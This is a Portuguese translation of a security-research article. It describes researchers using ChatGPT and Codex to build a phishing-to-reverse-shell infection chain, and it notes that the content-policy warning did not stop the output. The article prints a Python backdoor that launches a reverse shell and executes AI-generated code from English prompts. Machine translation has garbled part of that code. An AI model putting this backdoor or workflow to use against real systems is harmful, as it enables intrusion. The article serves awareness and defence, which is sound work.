Introdução
Devido ao ChatGPT, Lançamento da OpenAI da nova interface para seu Large Language Model (LLM), nas últimas semanas houve uma explosão de interesse em General AI na mídia e nas redes sociais. Esse modelo é usado em muitos aplicativos em toda a Web e tem sido elogiado por sua capacidade de gerar código bem escrito e auxiliar no processo de desenvolvimento. No entanto, esta nova tecnologia também traz riscos. Por exemplo, diminuir o nível de geração de código pode ajudar agentes de ameaças menos qualificados a lançar ataques cibernéticos sem esforço. Neste artigo, a Check Point Research demonstra:
- Como os modelos de inteligência artificial (IA) podem ser usados para criar um fluxo de infecção completo, desde o spear phishing até a execução de um shell reverso.
- Como os pesquisadores criaram um backdoor adicional que executa dinamicamente scripts que a IA gera em tempo real.
- Exemplos do impacto positivo da OpenAI no lado dos defensores e como ela pode ajudar os pesquisadores em seu trabalho diário.
O mundo da segurança cibernética está mudando rapidamente. É fundamental enfatizar a importância de permanecer vigilante sobre como essa tecnologia nova e em desenvolvimento pode afetar o cenário de ameaças, tanto para o bem quanto para o mal. Embora essa nova tecnologia ajude os defensores, ela também reduz a barra de entrada necessária para que agentes de ameaças pouco qualificados executem campanhas de phishing e desenvolvam malware.
Fundo
Da geração de imagens à escrita de código, os modelos de IA fizeram um tremendo progresso em vários campos, com o famoso software AlphaGo superando os melhores profissionais no jogo de Go em 2016, até reconhecimento de fala aprimorado e tradução automática que trouxe ao mundo assistentes virtuais como Siri e Alexa que desempenham um papel importante em nossas vidas diárias.
Recentemente, o interesse público pela IA aumentou devido ao lançamento do ChatGPT, um protótipo de chatbot cujo “propósito é auxiliar em uma ampla gama de tarefas e responder a perguntas da melhor maneira possível”. A menos que você tenha sido desconectado da mídia social nas últimas semanas, provavelmente já viu inúmeras imagens de interações do ChatGPT, desde escrever poesia até responder a perguntas de programação.
No entanto, como qualquer tecnologia, o aumento da popularidade do ChatGPT também traz um risco maior. Por exemplo, o Twitter está repleto de exemplos de códigos maliciosos ou diálogos gerados pelo ChatGPT. Embora a OpenAI tenha investido um tremendo esforço para impedir o abuso de sua IA, ela ainda pode ser usada para produzir códigos perigosos.
Para ilustrar este ponto, decidimos usar o ChatGPT e outra plataforma, o OpenAI’s Codex, um sistema baseado em IA que traduz linguagem natural em código, mais capaz em Python, mas proficiente em outras linguagens. Criamos um fluxo de infecção completo e nos demos a seguinte restrição: não escrevemos uma única linha de código e, em vez disso, deixamos que as IAs façam todo o trabalho. Apenas juntamos as peças do quebra-cabeça e executamos o ataque resultante.
Escolhemos ilustrar nosso argumento com um único fluxo de execução, um e-mail de phishing com um arquivo Excel malicioso armado com macros que baixam um shell reverso (um dos favoritos entre os criminosos cibernéticos).
ChatGPT: O Talentoso Phisher
Na primeira etapa, criamos um e-mail de phishing plausível. Isso não pode ser feito pelo Codex, que só pode gerar código, então pedimos ao ChatGPT para ajudar e sugerimos que ele se passasse por uma empresa de hospedagem.
Figura 1 – E-mail básico de phishing gerado pelo ChatGPT
Observe que, embora o OpenAI mencione que esse conteúdo pode violar sua política de conteúdo, sua saída fornece um ótimo começo. Em uma interação posterior com o ChatGPT, podemos esclarecer nossos requisitos: para evitar hospedar uma infraestrutura de phishing adicional, queremos que o alvo simplesmente baixe um documento do Excel. Simplesmente pedir ao ChatGPT para iterar novamente produz um excelente e-mail de phishing:
Figura 2 – E-mail de phishing gerado pelo ChatGPT
O processo de iteração é essencial para o trabalho com o modelo, especialmente para o código. A próxima etapa, criar o código VBA malicioso no documento do Excel, também requer várias iterações.
Este é o primeiro prompt:
Figura 3 – Código VBA simples gerado pelo ChatGPT
Este código é muito ingênuo e usa bibliotecas como WinHttpReq. No entanto, após uma breve iteração e conversas de ida e volta, o ChatGPT produz um código melhor:
Figura 4 – Outra versão do código VBA
Esta ainda é uma macro muito básica, mas decidimos parar por aqui, pois ofuscar e refinar o código VBA pode ser um procedimento interminável. O ChatGPT provou que, com bons prompts de texto, pode fornecer código malicioso funcional.
Codex – uma IA ou o futuro nome de um implante?
Armados com o conhecimento de que o ChatGPT pode produzir código malicioso, ficamos curiosos para ver o que o Codex, cujo objetivo original é traduzir linguagem natural em código, pode fazer. A seguir, todo o código foi escrito pelo Codex. Demonstramos intencionalmente as implementações mais básicas de cada técnica para ilustrar a ideia sem compartilhar muito código malicioso.
Primeiro, pedimos a ele que criasse um shell reverso básico para nós, usando um IP e uma porta de espaço reservado. O prompt é o comentário no início do bloco de código.
Figura 5 – Shell reverso básico gerado pelo Codex
Este é um ótimo começo, mas seria bom se houvesse algumas ferramentas maliciosas que pudéssemos usar para nos ajudar com nossa invasão. Talvez algumas ferramentas de verificação, como verificar se um serviço está aberto para injeção de SQL e verificação de porta?
Figura 6 – A implementação mais básica se SQLi gerado pelo Codex
Figura 7 – Script básico de varredura de portas
Este também é um bom começo, mas também gostaríamos de adicionar algumas mitigações para tornar a vida dos defensores um pouco mais difícil. Podemos detectar se nosso programa está sendo executado em um sandbox? A resposta básica fornecida pelo Codex está abaixo. Claro, pode ser melhorado adicionando outros fornecedores e verificações adicionais.
Figura 8 – Script básico de detecção de sandbox
Vemos que estamos progredindo. No entanto, tudo isso é código Python independente. Mesmo que uma IA junte esse código para nós (o que pode), não podemos ter certeza de que a máquina infectada terá um intérprete. Para encontrar uma maneira de executá-lo nativamente em qualquer máquina Windows, a solução mais fácil pode ser compilá-lo para um exe. Mais uma vez, nossos amigos de IA nos ajudam:
Figura 9 – Conversão de python para exe
E assim, o fluxo de infecção está completo. Criamos um e-mail de phishing, com um documento do Excel anexado que contém código VBA malicioso que baixa um shell reverso para a máquina de destino. O trabalho duro foi feito pelos AIs, e tudo o que nos resta fazer é executar o ataque.
Nenhum conhecimento em script? Não se preocupe, o inglês é bom o suficiente
Estávamos curiosos para ver até onde vai a toca do coelho. Criar os scripts e módulos iniciais é bom, mas um ataque cibernético real requer flexibilidade, pois as necessidades dos invasores durante uma invasão podem mudar rapidamente, dependendo do ambiente infectado. Para ver como podemos aproveitar as habilidades da IA para criar código em tempo real para atender a essa necessidade dinâmica, criamos o seguinte código Python curto. Depois de ser compilado para um PE, o exe primeiro executa o shell reverso mencionado anteriormente. Em seguida, aguarda comandos com o -cmd flag e executa scripts Python gerados em tempo real, consultando a API do Codex e fornecendo um prompt simples em inglês.
import os
sistema de importação
import openai
importar argparse
soquete de importação
importar winreg
openai.api_key =
parser = argparse.ArgumentParser()
parser.add_argument(‘-cmd’, type=ascii, help=’Prompt que será executado na máquina infectada’)
args = parser.parse_args()
def ExecuteReverseShell():
resposta = openai.Completion.create(
modelo =”código-davinci-002″,
prompt=”\”\”\”\nExecute o shell script reverso em uma máquina Windows e conecte-se ao endereço IP
temperatura = 0,
max_tokens=1000,
top_p=1,
frequência_penalty = 0,
presença_pênalti=0
)
exec(resposta.escolhas[0].texto)
def ExecutePrompt(prompts):
resposta = openai.Completion.create(
modelo =”código-davinci-002″,
prompt=”\”\”\”\n”+prompts+”\n\”\”\””,
temperatura = 0,
max_tokens=1000,
top_p=1,
frequência_penalty = 0,
presença_pênalti=0
)
exec(resposta.escolhas[0].texto)
se __name__ == ‘__main__’:
if len(sys.argv) == 1:
ExecuteReverseShell()
se args.cmd:
ExecutePrompt(args.cmd)
Agora que temos alguns exemplos de execução do script abaixo, deixamos os possíveis vetores de desenvolvimento desse tipo de ataque para um leitor curioso:
Figura 10 – Execução do código gerado on the fly com base na entrada em inglês
Usando o Codex para Aumentar os Defensores
Até este ponto, apresentamos a perspectiva do agente da ameaça usando LLMs. Para ser claro, a tecnologia em si não é malévola e pode ser usada por qualquer pessoa. Como os processos de ataque podem ser automatizados, as mitigações do lado dos defensores também podem.
Para ilustrar isso, pedimos ao Codex para escrever duas funções Python simples: uma que ajuda a pesquisar URLs dentro de arquivos usando o pacote YARA e outra que consulta o VirusTotal para o número de detecções de um hash específico. Embora existam melhores implementações de código aberto desses scripts escritos pela comunidade de defensores, esperamos despertar a imaginação dos blue teamers e caçadores de ameaças para usar os novos LLMs para automatizar e melhorar seu trabalho.
Figura 11 – VT API Query para verificar o número de detecções de um hash
Figura 12 – Script Yara que verifica quais strings de URL em um arquivo
Conclusão
A expansão dos papéis de LLM e IA no mundo cibernético está repleta de oportunidades, mas também traz riscos. Embora o código e o fluxo de infecção apresentados neste artigo possam ser defendidos usando procedimentos simples, esta é apenas uma demonstração elementar do impacto da pesquisa de IA na segurança cibernética. Vários scripts podem ser gerados facilmente, com pequenas variações usando palavras diferentes. Processos de ataque complicados também podem ser automatizados, usando as APIs dos LLMs para gerar outros artefatos maliciosos. Defensores e caçadores de ameaças devem estar atentos e cautelosos ao adotar essa tecnologia rapidamente, caso contrário, nossa comunidade estará um passo atrás dos invasores.
source – www.analyticsinsight.net